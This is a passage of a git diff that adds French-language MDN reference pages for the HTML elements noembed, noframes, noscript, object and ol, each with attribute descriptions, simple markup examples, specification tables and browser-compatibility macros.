+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<div>{{Compat("html.elements.nobr")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/noembed/index.html b/files/fr/web/html/element/noembed/index.html
new file mode 100644
index 0000000000..26b75e9764
--- /dev/null
+++ b/files/fr/web/html/element/noembed/index.html
@@ -0,0 +1,42 @@
+---
+title: '<noembed> : l''élément alternatif au contenu embarqué (obsolète)'
+slug: Web/HTML/Element/noembed
+tags:
+  - HTML
+  - Non-standard
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/noembed
+---
+<div>{{HTMLRef}}{{Non-standard_header}}{{obsolete_header}}</div>
+
+<p>L'élément <code><strong>&lt;noembed&gt;</strong></code> est une façon obsolète et non standardisée de fournir une alternative de contenu pour les navigateurs ne supportant pas l'élément {{HTMLElement("embed")}} ou des <a href="/fr/docs/Web/HTML/Catégorie_de_contenu">catégories de contenu</a> qu'un auteur aimerait utiliser.<br>
+ Cet élément a été rendu obsolète à partir de la version HTML 4.01 et a été remplacé par {{HTMLElement("object")}}. Le contenu alternatif doit être inséré entre la balise d'ouverture et celle de fermeture de {{HTMLElement("object")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que cet élément soit toujours supporté dans plusieurs navigateurs, il a été rendu obsolète et ne devrait pas être utilisé. Utilisez plutôt {{HTMLElement("object")}}</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#noembed', '&lt;noembed&gt;')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Indication que la fonctionnalité n'est pas conforme.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.noembed")}}</p>
diff --git a/files/fr/web/html/element/noframes/index.html b/files/fr/web/html/element/noframes/index.html
new file mode 100644
index 0000000000..e925ea2a48
--- /dev/null
+++ b/files/fr/web/html/element/noframes/index.html
@@ -0,0 +1,80 @@
+---
+title: '<noframes> : l''élément alternatif aux frames (obsolete)'
+slug: Web/HTML/Element/noframes
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/noframes
+---
+<div>{{HTMLRef}}{{Obsolete_header}}</div>
+
+<p>L'élément HTML obsolète <strong><code>&lt;noframes&gt;</code></strong> est utilisé par les navigateurs qui ne supportent pas les éléments {{HTMLElement("frame")}}, ou qui sont configurés afin de ne pas les supporter.</p>
+
+<p><code>&lt;noframes&gt;</code> accepte n'importe quel élément HTML valide dans un élément {{HTMLElement("body")}}, à l'exception des éléments {{HTMLElement("frameset")}} et {{HTMLElement("frame")}}.</p>
+
+<p>Cet élément pouvait être utilisé afin d'afficher un message explicatif, destiné à l'utilisateur. Idéalement, le contenu devait présenter des fonctionnalités analogues à la <em>frame</em> qui n'était pas prise en charge.</p>
+
+<div class="note"><strong>Note d'utilisation :</strong> Cet élément est aussi entièrement obsolète en HTML5, et doit être evité pour se conformer au standard.</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/frameset"/&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/frame"/&gt;
+  &lt;noframes&gt;
+    &lt;p&gt;
+      Il semblerait que votre navigateur ne supporte pas les frames,
+      ou qu'il est configuré pour ne pas les autoriser.
+    &lt;/p&gt;
+  &lt;/noframes&gt;
+&lt;/frameset&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#noframes', 'noframes')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'frames.html#edef-NOFRAMES', '&lt;noframes&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.noframes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("frameset")}}</li>
+ <li>{{HTMLElement("frame")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/noscript/index.html b/files/fr/web/html/element/noscript/index.html
new file mode 100644
index 0000000000..198c1abc87
--- /dev/null
+++ b/files/fr/web/html/element/noscript/index.html
@@ -0,0 +1,102 @@
+---
+title: <noscript>
+slug: Web/HTML/Element/noscript
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/noscript
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;noscript&gt;</code></strong> définit un fragment HTML qui doit être affiché si les fonctionnalités de script ne sont pas prises en charge ou si elles sont désactivées.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>On peut uniquement utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur cet élément.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;noscript&gt;
+  &lt;!-- Un lien vers un site externe --&gt;
+  &lt;a href="http://www.mozilla.com/"&gt;Un autre site&lt;/a&gt;
+&lt;/noscript&gt;
+&lt;p&gt;Elle est où la poulette ?&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_m%C3%A9ta-donn%C3%A9es">Contenu de métadonnées</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Lorsque les fonctionnalités de script sont désactivées et que l'élément est un descendant d'un élément {{HTMLElement("head")}} : zéro ou plusieurs éléments {{HTMLElement("link")}}, {{HTMLElement("style")}},{{HTMLElement("meta")}}.<br>
+    Lorsque les fonctionnalités de script sont désactivées et que cet élément n'est pas un descendant d'un élément {{HTMLElement("head")}} : du <a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu#Modèle_de_contenu_transparent">contenu transparent</a> mais sans élément <code>&lt;noscript&gt;</code> parmi les descendants.<br>
+    Sinon : du contenu de flux ou du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>
+    <p>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a> et qui n'a pas d'ancêtre qui soit un élément <code>&lt;noscript&gt;</code> ; ou, s'il s'agit d'un document HTML, un élément {{HTMLElement("head")}} (sans ancêtre <code>&lt;noscript&gt;</code>).</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'scripting-1.html#the-noscript-element', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.3.1', '&lt;noscript&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.noscript")}}</p>
diff --git a/files/fr/web/html/element/object/index.html b/files/fr/web/html/element/object/index.html
new file mode 100644
index 0000000000..54ce62d513
--- /dev/null
+++ b/files/fr/web/html/element/object/index.html
@@ -0,0 +1,162 @@
+---
+title: <object>
+slug: Web/HTML/Element/object
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/object
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;object&gt;</code> </strong>représente une ressource externe qui peut être interprétée comme une image, un contexte de navigation imbriqué ou une ressource à traiter comme un <em>plugin</em>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/object.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("data")}}</dt>
+ <dd>L'adresse de la ressource, une URL valide. Au moins un attribut <code><strong>data</strong></code> et un attribut <code><strong>type</strong></code> doivent être définis.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>L'élément de formulaire éventuel auquel l'élément est associé. La valeur de cet attribut doit être l'identifiant d'un élément  {{HTMLElement("form")}} du même document.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>La hauteur de la ressource à afficher, exprimée en pixels <a href="/fr/docs/Web/CSS">CSS</a> (uniquement en valeur absolue).</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom du contexte de navigation valide (HTML5) ou du contrôle associé à l'élément (HTML 4).</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Le type MIME de la ressource définie par  <code><strong>data</strong></code>. Au moins un attribut <code><strong>data</strong></code> et un attribut <code><strong>type</strong></code> doivent être définis.</dd>
+ <dt>{{htmlattrdef("typemustmatch")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut booléen indique si l'attribut <code>type</code> doit correspondre <a href="/fr/docs/Glossaire/Type_MIME">au type MIME</a> de la ressource afin que celle-ci puisse être utilisée.</dd>
+ <dt>{{htmlattrdef("usemap")}}</dt>
+ <dd>Une référence à l'élément {{HTMLElement("map")}}. La valeur de cet attribut doit être un '#' suivi de la valeur d'un attribut {{htmlattrxref("name", "map")}} d'un élément {{HTMLElement('map')}}.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>La largeur de la ressource à afficher, exprimée en pixels CSS (uniquement en valeur absolue).</dd>
+</dl>
+
+<h3 id="Attributs_obsolètes">Attributs obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("archive")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Une liste d'URIs séparés par des espaces, pointant vers des archives de resources pour l'objet.</dd>
+ <dt>{{htmlattrdef("border")}} {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>La largeur de la bordure autour de l'objet, exprimée en pixels.</dd>
+ <dt>{{htmlattrdef("classid")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>L'URI de l'implémentation de l'objet. Cet attribut peut être utilisé avec (ou en remplacement de) l'attribut <code><strong>data</strong></code>.</dd>
+ <dt>{{htmlattrdef("codebase")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Le chemin absolu de base servant à résoudre les URIs relatifs spécifiés par <code><strong>classid</strong></code>, <code><strong>data</strong></code>, ou <code><strong>archive</strong></code>. S'il n'est pas renseigné, l'URI de base considéré sera celui du document.</dd>
+ <dt>{{htmlattrdef("codetype")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Le type de contenu des données spécifiés par <code><strong>classid</strong></code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("declare")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Si cet attribut booléen est présent, l'élément sera seulement une déclaration. L'objet devra donc être instancié par un élément  <code>&lt;object&gt;</code> dans la suite du document. En HTML5, il faut répéter l'élément &lt;object&gt; complètement chaque fois que la ressource est ré-utilisée.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("standby")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Un message que le navigateur peut afficher pendant le chargement de l'implémentation et des données liées à l'objet.</dd>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}}</dt>
+ <dd>La position de l'élément dans la navigation par onglets au sein de l'élément courant.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;object data="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf" type="application/pdf"
+        width="500" height="500" typemustmatch&gt;
+  &lt;p&gt;Vous n'avez pas de plugin PDF mais vous pouvez &lt;a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf"&gt;télécharger le fichier.&lt;/a&gt;&lt;/p&gt;
+&lt;/object&gt;
+
+&lt;!-- Un exemple avec Flash --&gt;
+&lt;!--
+&lt;object data="animation.swf" type="application/x-shockwave-flash"&gt;
+  &lt;param name="param11" value="valeurConf"&gt;
+&lt;/object&gt;
+--&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","520","520")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_int.C3.A9gr.C3.A9">contenu intégré</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>. Si l'élément a un attribut <strong>usemap</strong> il fait aussi partie de la catégorie de <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_associ.C3.A9_aux_formulaires">contenu listé pour les formulaires (<em>listed</em>), contenu pouvant être envoyé par un formulaire (<em>submittable</em>)</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("param")}} suivis par du  <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Mod.C3.A8le_de_contenu_transparent">contenu transparent.</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balise</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du contenu intégré.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("image")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLObjectElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-object-element', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-object-element', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3', '&lt;object&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.object")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("param")}}</li>
+ <li>{{HTMLElement("applet")}} {{Obsolete_Inline}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/ol/index.html b/files/fr/web/html/element/ol/index.html
new file mode 100644
index 0000000000..1bc58e0eba
--- /dev/null
+++ b/files/fr/web/html/element/ol/index.html
@@ -0,0 +1,237 @@
+---
+title: '<ol> : l''élément de liste ordonnée'
+slug: Web/HTML/Element/ol
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ol
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;ol&gt;</code></strong> représente une liste ordonnée. Les éléments d'une telle liste sont généralement affichés avec un indicateur ordinal pouvant prendre la forme de nombres, de lettres, de chiffres romains ou de points. La mise en forme de la numérotation n'est pas utilisée dans la description HTML mais dans la feuille de style CSS associée grâce à la propriété {{cssxref("list-style-type")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ol.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément dispose <a href="/fr/docs/Web/HTML/Attributs_universels">des attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("reversed")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut booléen précise que les objets listés par l'élément sont affichés avec un ordre inversé (l'objet le moins important apparaît en première position).</dd>
+ <dt>{{htmlattrdef("start")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>La valeur de cet attribut, un nombre entier, définit l'indice à partir duquel les objets de la liste sont numérotés. Bien que les indices des éléments puissent être des nombres romains ou des lettres la valeur de cet attribut doit être un nombre. Ainsi pour commencer la numérotation des éléments avec la lettre « C », il faudra entrer :<code> &lt;ol start="3"&gt;</code>. Cet attribut a été déprécié en HTML4 mais a été réintroduit en HTML5.</dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_et_obsolètes">Attributs dépréciés et obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("compact")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>Cet attribut booléen indique si la liste doit être affichée avec un style compact. L'interprétation de cet attribut dépend de l'agent utilisateur utilisé et ne fonctionne pas avec tous les navigateurs.</p>
+
+ <div class="warning"><strong>Attention !</strong> Cet attribut ne doit pas être utilisé car il a été déprécié : les feuilles de style CSS doivent être utilisées pour la mise en forme de l'élément {{HTMLElement("ol")}}. Afin d'obtenir un effet similaire à cet attribut, la propriété CSS {{cssxref("line-height")}} peut être utilisée avec une valeur de <code>80%</code>.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("type")}} {{deprecated_inline}}</dt>
+ <dd>Cet attribut définit comment les nombres ordinaux doivent être affichés. Il peut valoir les caractères suivants :
+ <ul>
+  <li><code>a</code> : lettres minuscules</li>
+  <li><code>A</code> : lettres majuscules</li>
+  <li><code>i</code> : nombres romains en minuscules</li>
+  <li><code>I</code> : nombres romains en majuscules</li>
+  <li><code>1</code> : nombres</li>
+ </ul>
+ Le type sélectionné est alors utilisé pour toute la liste à moins qu'un élément {{HTMLElement("li")}} de la liste utilise une autre valeur pour l'attribut {{htmlattrxref("type", "li")}}
+
+ <div class="warning"><strong>Attention !</strong> Cet attribut ne doit pas être utilisé car il a été déprécié : les feuilles de style CSS doivent être utilisées pour la mise en forme de l'élément {{HTMLElement("ol")}}. La propriété CSS {{cssxref("list-style-type")}} doit être utilisé à la place de cet attribut.</div>
+ </dd>
+</dl>
+
+<h2 id="Note_d'utilisation">Note d'utilisation</h2>
+
+<ul>
+ <li>Les éléments {{HTMLElement("ol")}} et  {{HTMLElement("ul")}} représentent tous les deux une liste d'objets. Leur différence réside dans le fait qu'avec {{HTMLElement("ol")}} l'ordre est important. Un moyen mnémotechnique pour savoir lequel de ces deux éléments utiliser est d'essayer de changer l'ordre dans la liste : si sa signification a changé alors {{HTMLElement("ol")}} doit être utilisé, sinon {{HTMLElement("ul")}} doit être utilisé.</li>
+ <li>Il n'y pas de limitation concernant la profondeur ou l'éventuelle imbrication des listes définies par les éléments {{HTMLElement("ol")}} et {{HTMLElement("ul")}}.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Premier élément&lt;/li&gt;
+  &lt;li&gt;Deuxième élément&lt;/li&gt;
+  &lt;li&gt;Troisième élément&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","300","150")}}</p>
+
+<h3 id="Exemple_avec_start">Exemple avec <code>start</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;ol start="7"&gt;
+  &lt;li&gt;Premier élément&lt;/li&gt;
+  &lt;li&gt;Deuxième élément&lt;/li&gt;
+  &lt;li&gt;Troisième élément&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_avec_start","300","150")}}</p>
+
+<h3 id="Utiliser_les_chiffres_romains">Utiliser les chiffres romains</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ol type="i"&gt;
+  &lt;li&gt;toto&lt;/li&gt;
+  &lt;li&gt;truc&lt;/li&gt;
+  &lt;li&gt;bidule&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_les_chiffres_romains","300","150")}}</p>
+
+<h3 id="Listes_imbriquées">Listes imbriquées</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Premier élément&lt;/li&gt;
+  &lt;li&gt;Deuxième élément  &lt;!-- La balise &lt;/li&gt; n'est pas encore placée ! --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;Premier élément de la liste imbriquée&lt;/li&gt;
+      &lt;li&gt;Deuxième élément de la liste imbriquée&lt;/li&gt;
+      &lt;li&gt;Troisième élément de la liste imbriquée&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;                 &lt;!-- Voici la balise &lt;/li&gt; ! --&gt;
+  &lt;li&gt;Troisième élément&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Listes_imbriquées","300","300")}}</p>
+
+<h3 id="Listes_imbriquées_avec_&lt;ol>_et_&lt;ul>">Listes imbriquées avec <code>&lt;ol&gt;</code> et <code>&lt;ul&gt;</code></h3>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Premier élément&lt;/li&gt;
+  &lt;li&gt;Deuxième élément  &lt;!-- La balise &lt;/li&gt; n'est pas placée ici ! --&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Premier élément de la liste non-ordonnée imbriquée&lt;/li&gt;
+      &lt;li&gt;Deuxième élément de la liste non-ordonnée imbriquée&lt;/li&gt;
+      &lt;li&gt;Troisième élément de la liste non-ordonnée imbriquée&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;                 &lt;!-- La balise &lt;/li&gt; est ici. --&gt;
+  &lt;li&gt;Troisième élément&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample("Listes_imbriquées_avec_&amp;lt;ol&amp;gt;_et_&amp;lt;ul&amp;gt;","300","300")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, et du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a> si les enfants de l'élément <code>&lt;ol&gt;</code> incluent au moins un élément {{HTMLElement("li")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro, un, ou plusieurs éléments {{HTMLElement("li")}} (qui peuvent imbriquer d'autres éléments {{HTMLElement("ol")}} ou {{HTMLElement("ul")}}).</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("directory")}}, {{ARIARole("group")}}, {{ARIARole("listbox")}}, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}}, {{ARIARole("tree")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLOListElement")}}</td>
+  </tr>
